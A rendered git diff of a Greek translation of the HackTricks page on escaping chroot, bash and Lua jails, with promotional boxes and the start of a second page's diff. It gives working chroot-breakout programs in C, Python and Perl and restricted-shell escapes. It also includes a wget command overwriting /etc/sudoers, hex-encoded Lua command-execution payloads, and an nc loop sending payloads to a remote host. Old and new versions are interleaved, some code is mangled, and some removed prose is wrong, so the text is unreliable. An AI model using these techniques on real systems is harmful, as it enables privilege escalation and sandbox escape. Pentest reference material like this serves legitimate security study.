<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,58 +1,69 @@
# Escaping from Jails
# Απόδραση από Φυλακές
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ κάνοντας υποβολή PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## **GTFOBins**
**Αναζητήστε στο** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **αν μπορείτε να εκτελέσετε οποιοδήποτε δυαδικό αρχείο με ιδιότητα "Shell"**
**Αναζητήστε στο** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **αν μπορείτε να εκτελέσετε οποιοδήποτε δυαδικό με ιδιότητα "Shell"**
## Απόδραση από το Chroot
## Απόδραση από Chroot
Από την [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): Ο μηχανισμός chroot **δεν προορίζεται για να προστατεύει** από πρόθεσης παρεμβολή από **προνομιούχους** (**root**) **χρήστες**. Στις περισσότερες συστάσεις, οι περιβάλλοντα chroot δεν στοιβάζονται σωστά και τα προγράμματα που εκτελούνται μέσα σε ένα chroot με επαρκή δικαιώματα μπορούν να εκτελέσουν ένα δεύτερο chroot για να διαφύγουν.\
Συνήθως αυτό σημαίνει ότι για να διαφύγετε πρέπει να είστε root μέσα στο chroot.
Από [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): Ο μηχανισμός chroot **δεν προορίζεται να προστατεύσει** από εσκεμμένη παρεμβολή από **προνομιούχους** (**root**) **χρήστες**. Σε περισσότερα συστήματα, τα περιβάλλοντα chroot δεν στοιβάζονται σωστά και τα προγράμματα που έχουν τεθεί σε chroot **με επαρκή δικαιώματα μπορεί να εκτελέσουν ένα δεύτερο chroot για να ξεφύγουν**.\
Συνήθως αυτό σημαίνει ότι για να αποδράσετε πρέπει να είστε root μέσα στο chroot.
{% hint style="success" %}
Το **εργαλείο** [**chw00t**](https://github.com/earthquake/chw00t) δημιουργήθηκε για να καταχραστεί τα παρακάτω σενάρια και να διαφύγει από το `chroot`.
Το **εργαλείο** [**chw00t**](https://github.com/earthquake/chw00t) δημιουργήθηκε για να καταχραστεί τα παρακάτω σενάρια και να ξεφύγει από το `chroot`.
{% endhint %}
### Root + CWD
{% hint style="warning" %}
Εάν είστε **root** μέσα σε ένα chroot μπορείτε να **διαφύγετε** δημιουργώντας **ένα άλλο chroot**. Αυτό συμβαίνει επειδή δύο chroots δεν μπορούν να υπάρχουν ταυτόχρονα (στο Linux), οπότε αν δημιουργήσετε ένα φάκελο και στη συνέχεια **δημιουργήσετε ένα νέο chroot** σε αυτόν τον νέο φάκελο ενώ **είστε έξω από αυτόν**, τότε θα βρίσκεστε **έξω από το νέο chroot** και, συνεπώς, θα βρίσκεστε στο σύστημα αρχείων.
Αν είστε **root** μέσα σε ένα chroot μπορείτε να **ξεφύγετε** δημιουργώντας **ένα άλλο chroot**. Αυτό συμβαίνει επειδή δύο chroots δεν μπορούν να υπάρχουν ταυτόχρονα (στο Linux), οπότε αν δημιουργήσετε ένα φάκελο και στη συνέχεια **δημιουργήσετε ένα νέο chroot** σε αυτόν τον νέο φάκελο ενώ **είστε έξω από αυτόν**, τώρα θα βρίσκεστε **έξω από το νέο chroot** και συνεπώς θα βρίσκεστε στο FS.
Αυτό συμβαίνει επειδή συνήθως το chroot ΔΕΝ μετακινεί τον τρέχοντα κατάλογο εργασίας στον καθορισμένο, οπότε μπορείτε να δημιουργήσετε ένα chroot αλλά να είστε έξω από αυτόν.
{% endhint %}
Συνήθως δεν θα βρείτε το δυαδικό αρχείο `chroot` μέσα σε ένα chroot jail, αλλά **μπορείτε να το μεταγλωττίσετε, να το ανεβάσετε και να το εκτελέσετε**:
Συνήθως δεν θα βρείτε το δυαδικό `chroot` μέσα σε μια φυλακή chroot, αλλά **μπορείτε να το μεταγλωττίσετε, να το ανεβάσετε και να το εκτελέσετε**:
<details>
<summary>C: break_chroot.c</summary>
```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
\`\`\`c #include #include #include
//gcc break_chroot.c -o break_chroot
//gcc break\_chroot.c -o break\_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
````
int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
}
```
</details>
<details>
<summary>Πυθώνας</summary>
<summary>Πυθον</summary>
```python
#!/usr/bin/python
import os
@ -62,250 +73,189 @@ for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
````
```
</details>
<details>
<summary>Perl</summary>
Η γλώσσα προγραμματισμού Perl είναι ιδανική για την απόδραση από περιορισμένα περιβάλλοντα bash. Μπορείτε να χρησιμοποιήσετε την εντολή `system` για να εκτελέσετε εντολές bash από το Perl script. Αυτό σας επιτρέπει να αποκτήσετε προνόμια υψηλότερου επιπέδου και να δραπετεύσετε από τον περιορισμένο bash shell.
Παρακάτω παρουσιάζεται ένα παράδειγμα Perl script που χρησιμοποιεί την εντολή `system` για να εκτελέσει μια εντολή bash:
```perl
#!/usr/bin/perl
system("/bin/bash -c 'command'");
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
chdir ".."
}
chroot ".";
system("/bin/bash");
```
Αντικαταστήστε τη λέξη "command" με την εντολή bash που θέλετε να εκτελέσετε. Όταν εκτελέσετε αυτό το Perl script, θα εκτελεστεί η εντολή bash και θα έχετε πρόσβαση σε προνόμια υψηλότερου επιπέδου.
</details>
\`\`\`perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); \`\`\`
### Root + Αποθηκευμένο fd
{% hint style="warning" %}
Αυτό είναι παρόμοιο με την προηγούμενη περίπτωση, αλλά σε αυτή την περίπτωση ο **επιτιθέμενος αποθηκεύει έναν αριθμό αναγνωριστικού αρχείου (file descriptor) στον τρέχοντα φάκελο** και στη συνέχεια **δημιουργεί το chroot σε ένα νέο φάκελο**. Τελικά, καθώς έχει **πρόσβαση** σε αυτόν τον **FD έξω από το chroot**, μπορεί να τον χρησιμοποιήσει για να **δραπετεύσει**.
Αυτό είναι παρόμοιο με την προηγούμενη περίπτωση, αλλά σε αυτή την περίπτωση ο **εισβολέας αποθηκεύει έναν αριθμό αρχείου στον τρέχοντα κατάλογο** και στη συνέχεια **δημιουργεί το chroot σε έναν νέο φάκελο**. Τελικά, καθώς έχει **πρόσβαση** σε αυτόν τον **FD** **έξω** από το chroot, μπορεί να τον χρησιμοποιήσει και να **δραπετεύσει**.
{% endhint %}
<details>
<summary>C: break_chroot.c</summary>
```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
\`\`\`c #include #include #include
//gcc break_chroot.c -o break_chroot
//gcc break\_chroot.c -o break\_chroot
int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }
````
int main(void)
{
mkdir("tmpdir", 0755);
dir_fd = open(".", O_RDONLY);
if(chroot("tmpdir")){
perror("chroot");
}
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
}
```
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
{% hint style="warning" %}
Το FD μπορεί να περάσει μέσω Unix Domain Sockets, οπότε:
* Δημιουργήστε ένα διεργασία παιδί (fork)
* Δημιουργήστε UDS ώστε ο γονέας και το παιδί να μπορούν να επικοινωνούν
* Εκτελέστε το chroot στη διεργασία παιδί σε έναν διαφορετικό φάκελο
* Στη διεργασία γονέα, δημιουργήστε ένα FD ενός φακέλου που βρίσκεται έξω από το chroot της νέας διεργασίας παιδιού
* Περάστε στη διεργασία παιδί αυτό το FD χρησιμοποιώντας το UDS
* Η διεργασία παιδί αλλάζει τον τρέχοντα φάκελο σε αυτόν τον FD και επειδή βρίσκεται έξω από το chroot της, θα δραπετεύσει από τη φυλακή
* Δημιούργησε ένα παιδί διεργασία (fork)
* Δημιούργησε UDS ώστε ο γονέας και το παιδί να μπορούν να επικοινωνούν
* Εκτέλεσε chroot στη διεργασία παιδιού σε διαφορετικό φάκελο
* Στη διεργασία γονέα, δημιούργησε ένα FD ενός φακέλου που βρίσκεται έξω από το chroot της νέας διεργασίας παιδιού
* Πέρασε στη διεργασία παιδί αυτό το FD χρησιμοποιώντας το UDS
* Η διεργασία παιδί αλλάζει τον τρέχοντα κατάλογο σε αυτό το FD και επειδή βρίσκεται έξω από το chroot της, θα δραπετεύσει από τη φυλακή
{% endhint %}
</div>
### Root + Mount
### &#x20;Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Τοποθετήστε τη ρίζα της συσκευής (/) σε έναν κατάλογο μέσα στο chroot
* Εκτελέστε το chroot σε αυτόν τον κατάλογο
{% hint style="warning" %}
* Τοποθέτηση της ρίζας της συσκευής (/) σε έναν κατάλογο μέσα στο chroot
* Εκτέλεση chroot σε αυτόν τον κατάλογο
Αυτό είναι δυνατό στο Linux
</div>
{% endhint %}
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Τοποθετήστε το procfs σε έναν κατάλογο μέσα στο chroot (αν δεν υπάρχει ήδη)
* Αναζητήστε ένα pid που έχει μια διαφορετική καταχώρηση root/cwd, όπως: /proc/1/root
* Εκτελέστε το chroot σε αυτήν την καταχώρηση
</div>
{% hint style="warning" %}
* Τοποθέτηση του procfs σε έναν κατάλογο μέσα στο chroot (αν δεν υπάρχει ακόμα)
* Αναζήτηση ενός pid που έχει διαφορετική καταχώριση ρίζας/cwd, όπως: /proc/1/root
* Εκτέλεση chroot σε αυτήν την καταχώριση
{% endhint %}
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Δημιουργήστε ένα Fork (διεργασία παιδί) και εκτελέστε το chroot σε έναν διαφορετικό φάκελο πιο βαθιά στο σύστημα αρχείων και αλλάξτε τον τρέχοντα φάκελο σε αυτόν
* Από τη διεργασία γονέα, μετακινήστε τον φάκελο όπου βρίσκεται η διεργασία παιδί σε έναν φάκελο προηγούμενο του chroot των παιδιών
* Αυτή η διεργασία παιδί θα βρεθεί έξω από το chroot
</div>
{% hint style="warning" %}
* Δημιουργία ενός Fork (διεργασία παιδί) και chroot σε έναν διαφορετικό φάκελο βαθύτερα στο FS και CD σε αυτόν
* Από τη διεργασία γονέα, μετακίνησε τον φάκελο όπου βρίσκεται η διεργασία παιδί σε έναν φάκελο πριν το chroot των παιδιών
* Αυτή η διεργασία παιδί θα βρει τον εαυτό της έξω από το chroot
{% endhint %}
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
{% hint style="warning" %}
* Παλιότερα, οι χρήστες μπορούσαν να εντοπίζουν σφάλματα στις δικές τους διεργασίες από μια διεργασία του ίδιου... αλλά αυτό δεν είναι πλέον δυνατό από προεπιλογή
* Παρόλα αυτά, αν είναι δυνατό, μπορείτε να χρησιμοποιήσετε το ptrace σε μια διεργασία και να εκτελέσετε ένα shellcode μέσα σε αυτήν ([δείτε αυτό το παράδειγμα](linux-capabilities.md#cap\_sys\_ptrace)).
{% endhint %}
* Παλαιότερα, οι χρήστες μπορούσαν να εντοπίζουν σφάλματα στις δικές τους διεργασίες από μια διεργασία του ίδιου τους... αλλά αυτό δεν είναι πλέον δυνατό από προεπιλογή
* Παρόλα αυτά, αν είναι δυνατό, μπορείτε να εντοπίσετε σφάλματα σε μια διεργασία και να εκτελέσετε ένα shellcode μέσα σε αυτήν ([δείτε αυτό το παράδειγμα](linux-capabilities.md#cap\_sys\_ptrace)).
## Bash Jails
</div>
### Enumeration
## Φυλακές Bash
### Απαρίθμηση
Λάβετε πληροφορίες σχετικά με τη φυλακή:
Λήψη πληροφοριών σχετικά με τη φυλακή:
```bash
echo $SHELL
echo $PATH
env
export
pwd
````
#### Τροποποίηση του PATH
Ελέγξτε αν μπορείτε να τροποποιήσετε τη μεταβλητή περιβάλλοντος PATH.
```
### Τροποποίηση του PATH
Ελέγξτε εάν μπορείτε να τροποποιήσετε τη μεταβλητή περιβάλλοντος PATH
```bash
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
```
#### Χρήση του vim
Ο επεξεργαστής κειμένου vim είναι ένας ισχυρός επεξεργαστής κειμένου που μπορεί να χρησιμοποιηθεί για να εκτελέσετε ορισμένες ενέργειες προνομιούχου ανόδου. Ακολουθούν μερικές τεχνικές που μπορείτε να χρησιμοποιήσετε με το vim:
1. Εκτέλεση εντολών shell: Μπορείτε να εκτελέσετε εντολές shell από το vim χρησιμοποιώντας την εντολή `:!`. Για παράδειγμα, μπορείτε να εκτελέσετε την εντολή `:!id` για να εμφανίσετε την ταυτότητα του χρήστη που εκτελεί το vim.
2. Εκτέλεση εντολών με δικαιώματα ρίζας: Αν έχετε πρόσβαση στον λογαριασμό ρίζας, μπορείτε να εκτελέσετε εντολές με δικαιώματα ρίζας από το vim. Χρησιμοποιήστε την εντολή `:!!` για να εκτελέσετε την τελευταία εντολή με δικαιώματα ρίζας.
3. Εκτέλεση εντολών με τοπικά δικαιώματα χρήστη: Μπορείτε επίσης να εκτελέσετε εντολές με τα δικαιώματα του τρέχοντος χρήστη. Χρησιμοποιήστε την εντολή `:sh` για να ανοίξετε ένα νέο παράθυρο shell με τα δικαιώματα του τρέχοντος χρήστη.
Αυτές είναι μερικές από τις βασικές τεχνικές που μπορείτε να χρησιμοποιήσετε με το vim για να εκτελέσετε ενέργειες προνομιούχου ανόδου. Θυμηθείτε πάντα να χρησιμοποιείτε αυτές τις τεχνικές με προσοχή και μόνο όταν έχετε την απαραίτητη άδεια.
### Χρησιμοποιώντας το vim
```bash
:set shell=/bin/sh
:shell
```
### Δημιουργία σεναρίου
#### Δημιουργία σεναρίου
Ελέγξτε αν μπορείτε να δημιουργήσετε ένα εκτελέσιμο αρχείο με περιεχόμενο _/bin/bash_.
Ελέγξτε αν μπορείτε να δημιουργήσετε ένα εκτελέσιμο αρχείο με περιεχόμενο _/bin/bash_
```bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
```
#### Πάρτε το bash από το SSH
### Αποκτήστε το bash από το SSH
Εάν έχετε πρόσβαση μέσω ssh, μπορείτε να χρησιμοποιήσετε αυτό το κόλπο για να εκτελέσετε ένα κέλυφος bash:
```bash
ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "
```
#### Δήλωση
Η δήλωση `declare` χρησιμοποιείται για να ορίσει μεταβλητές και να τους αναθέσει τιμές. Μπορεί επίσης να χρησιμοποιηθεί για να ορίσει τις ιδιότητες μιας μεταβλητής, όπως τον τύπο δεδομένων και την εμβέλειά της.
Η σύνταξη για τη δήλωση μιας μεταβλητής είναι η εξής:
```bash
declare [-aAfFgilnrtux] [-p] [name[=value]]
```
Οι επιλογές που μπορούν να χρησιμοποιηθούν με τη δήλωση `declare` περιλαμβάνουν:
* `-a`: Δηλώνει μια μεταβλητή ως πίνακα.
* `-A`: Δηλώνει μια μεταβλητή ως συσχετισμένο πίνακα.
* `-f`: Δηλώνει μια μεταβλητή ως συνάρτηση.
* `-F`: Δηλώνει μια μεταβλητή ως συνάρτηση που είναι προσβάσιμη μόνο για ανάγνωση.
* `-g`: Δηλώνει μια μεταβλητή ως παγκόσμια.
* `-i`: Δηλώνει μια μεταβλητή ως αναφορά σε μια μεταβλητή περιβάλλοντος.
* `-l`: Δηλώνει μια μεταβλητή ως τοπική.
* `-n`: Δηλώνει μια μεταβλητή ως αριθμητική.
* `-r`: Δηλώνει μια μεταβλητή ως μόνο για ανάγνωση.
* `-t`: Δηλώνει μια μεταβλητή ως πίνακα με αριθμητικές τιμές.
* `-u`: Δηλώνει μια μεταβλητή ως ανεπανάληπτη.
* `-x`: Δηλώνει μια μεταβλητή ως εξαγωγή για το περιβάλλον.
Μπορείτε επίσης να χρησιμοποιήσετε την επιλογή `-p` για να εμφανίσετε τις ιδιότητες μιας μεταβλητής.
Παραδείγματα:
```bash
declare -a my_array
declare -i my_number=10
declare -r readonly_var="This variable is read-only"
declare -x exported_var="This variable is exported"
declare -p my_array
```
Η παραπάνω δήλωση θα δημιουργήσει έναν πίνακα με το όνομα `my_array`, μια αριθμητική μεταβλητή με το όνομα `my_number` και τιμή 10, μια μεταβλητή μόνο για ανάγνωση με το όνομα `readonly_var` και μια εξαγόμενη μεταβλητή με το όνομα `exported_var`. Η επιλογή `-p` θα εμφανίσει τις ιδιότητες του πίνακα `my_array`.
### Δήλωση
```bash
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i
```
### Wget
#### Wget
Μπορείτε να αντικαταστήσετε, για παράδειγμα, το αρχείο sudoers.
Μπορείτε να αντικαταστήσετε για παράδειγμα το αρχείο sudoers
```bash
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
```
#### Άλλα κόλπα
### Άλλα κόλπα
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://gtfobins.github.io](https://gtfobins.github.io)\
**Ενδιαφέρουσα μπορεί να είναι επίσης η σελίδα:**
### Python Jails
{% content-ref url="../bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../bypass-bash-restrictions/)
{% endcontent-ref %}
Κόλπα για τη διαφυγή από τα python jails στην ακόλουθη σελίδα:
## Python Jails
### Lua Jails
Κόλπα σχετικά με την απόδραση από τα Python jails στην ακόλουθη σελίδα:
Σε αυτήν τη σελίδα μπορείτε να βρείτε τις παγκόσμιες συναρτήσεις στις οποίες έχετε πρόσβαση μέσα στο lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
## Lua Jails
Σε αυτήν τη σελίδα μπορείτε να βρείτε τις γενικές λειτουργίες στις οποίες έχετε πρόσβαση μέσα στο Lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
**Αξιολόγηση με εκτέλεση εντολής:**
```bash
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
```
Μερικά κόλπα για να **καλέσετε συναρτήσεις ενός βιβλιοθηκών χωρίς να χρησιμοποιήσετε τελείες**:
Μερικά κόλπα για **να καλέσετε συναρτήσεις ενός βιβλιοθήκης χωρίς να χρησιμοποιήσετε τελείες**:
```bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
```
Απαριθμήστε τις λειτουργίες ενός βιβλιοθηκών:
Απαριθμήστε τις λειτουργίες ενός βιβλιοθήκης:
```bash
for k,v in pairs(string) do print(k,v) end
```
Σημείωση ότι κάθε φορά που εκτελείτε την προηγούμενη μια γραμμή σε ένα **διαφορετικό περιβάλλον lua η σειρά των συναρτήσεων αλλάζει**. Επομένως, αν χρειάζεστε να εκτελέσετε μια συγκεκριμένη συνάρτηση, μπορείτε να πραγματοποιήσετε μια επίθεση με βία φορτώνοντας διάφορα περιβάλλοντα lua και καλώντας την πρώτη συνάρτηση της βιβλιοθήκης le:
Σημειώστε ότι κάθε φορά που εκτελείτε την προηγούμενη μιας γραμμής εντολή σε ένα **διαφορετικό περιβάλλον lua η σειρά των λειτουργιών αλλάζει**. Επομένως, αν χρειάζεστε να εκτελέσετε μια συγκεκριμένη λειτουργία, μπορείτε να πραγματοποιήσετε μια επίθεση βίας φορτώνοντας διαφορετικά περιβάλλοντα lua και καλώντας την πρώτη λειτουργία της βιβλιοθήκης:
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
@ -316,17 +266,25 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
```
**Αποκτήστε διαδραστικό κέλυφος lua**: Εάν βρίσκεστε μέσα σε ένα περιορισμένο κέλυφος lua, μπορείτε να αποκτήσετε ένα νέο κέλυφος lua (και ελπίζουμε απεριόριστο) καλώντας:
**Λάβετε διαδραστικό κέλυφος lua**: Εάν βρίσκεστε μέσα σε ένα περιορισμένο κέλυφος lua, μπορείτε να λάβετε ένα νέο κέλυφος lua (και ελπίζουμε απεριόριστο) καλώντας:
```bash
debug.debug()
```
### Αναφορές
## Αναφορές
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Διαφάνειες: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Ενδιαφέρουσες Ομάδες - Ανύψωση Δικαιωμάτων στο Linux
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
